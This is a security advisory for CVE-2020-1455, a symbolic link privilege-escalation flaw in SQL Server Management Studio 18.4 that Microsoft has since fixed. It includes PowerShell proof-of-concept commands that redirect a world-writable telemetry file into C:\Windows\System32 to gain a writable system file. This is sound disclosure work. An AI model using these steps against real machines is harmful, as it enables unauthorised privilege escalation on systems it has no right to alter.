usd-2020-0030 | SQL Server Management Studio 18.4


Advisory ID: usd-2020-0030
CVE Number: CVE-2020-1455
Affected Product: SQL Server Management Studio (SSMS)
Affected Version: 18.4
Vulnerability Type: Symbolic Link Vulnerability
Security Risk: High
Vendor URL: https://docs.microsoft.com/de-de/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15
Vendor Status: Fixed

Description

Symbolic link attacks have become more and more popular on Windows operating systems. A symbolic link is just a directory entry that points to a different location of the file system and redirects certain file operations to the actual target. When privileged processes interact with user controlled parts of the file system, symbolic links can be used to redirect privileged file operations in order to achieve an elevation of privileges. However, it should be noticed that low privileged user accounts are not able to create symbolic links that connect two ordinary file system locations. That being said, there is a workaround that allows the creation of pseudo symbolic links, as demonstrated by James Forshaw.

Proof of Concept (PoC)

After installing the SQL Server Management Studio (SSMS) by using the corresponding installer, one can find a .json file that is created inside the C:\ProgramData\vstelemetry\Default folder. As shown in the following listing, this file allows everyone full access, which represents a non inherited file permission.

PS C:\ProgramData\vstelemetry\Default> dir

Directory: C:\ProgramData\vstelemetry\Default

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/19/2020 5:24 PM 7275 Default.manifest.json

PS C:\ProgramData\vstelemetry\Default> icacls .\Default.manifest.json
.\Default.manifest.json Everyone:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
MSEDGEWIN10\IEUser:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

A quick analysis with Procmon reveals that the corresponding file is accessed on each startup of SSMS. If it already exists, it is only read by the application. However, if it does not exist, it gets created and the file permissions are set explicitly.

This could allow an attacker to achieve an elevation of privileges by using a symbolic link attack. For demonstration, we use the symboliclink-testing-tools of James Forshaw to create a symbolic link that points to a non existing file inside of a protected directory.

PS C:\> del C:\ProgramData\vstelemetry\Default\Default.manifest.json
PS C:\> C:\Users\Public\CreateSymlink.exe -p C:\ProgramData\vstelemetry\Default\Default.manifest.json C:\Windows\System32\malicious.dll

Now one has to wait until a privileged user account opens the SQL Server Management Studio. In our demonstration, we open SSMS as administrator and can verify that the application follows the symbolic link.

PS C:\> dir C:\Windows\System32\malicious.dll

Directory: C:\Windows\System32

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/19/2020 5:40 PM 7275 malicious.dll

PS C:\> icacls C:\Windows\System32\malicious.dll
C:\Windows\System32\malicious.dll Everyone:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Since everyone gets assigned full control over the newly generated file, the file can now be overwritten with arbitrary contents. This should be sufficient to perform a privilege escalation attack.

Relying on an administrative user account for opening SSMS is of course very limiting, but also other user accounts can be tricked to write files into protected locations, where the attacker account does not have access to. Furthermore, it should be noticed that this attack can also be executed during the installation process of SSMS. This could allow an elevation of privileges on workstations that use different kinds of software distribution solutions.

Fix

File operations on directories that are controlled by low privileged user accounts should always be treated with special care. It is recommended to create a separate configuration file for each user account inside of a protected folder that is only writable/modifiable by the corresponding user.

Timeline

  • 2020-03-20 Security vulnerability is found by one of our researchers
  • 2020-04-02 Security vulnerability submitted via MSRC
  • 2020-08-10 Microsoft releases a fix
  • 2020-10-27 Security advisory released

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.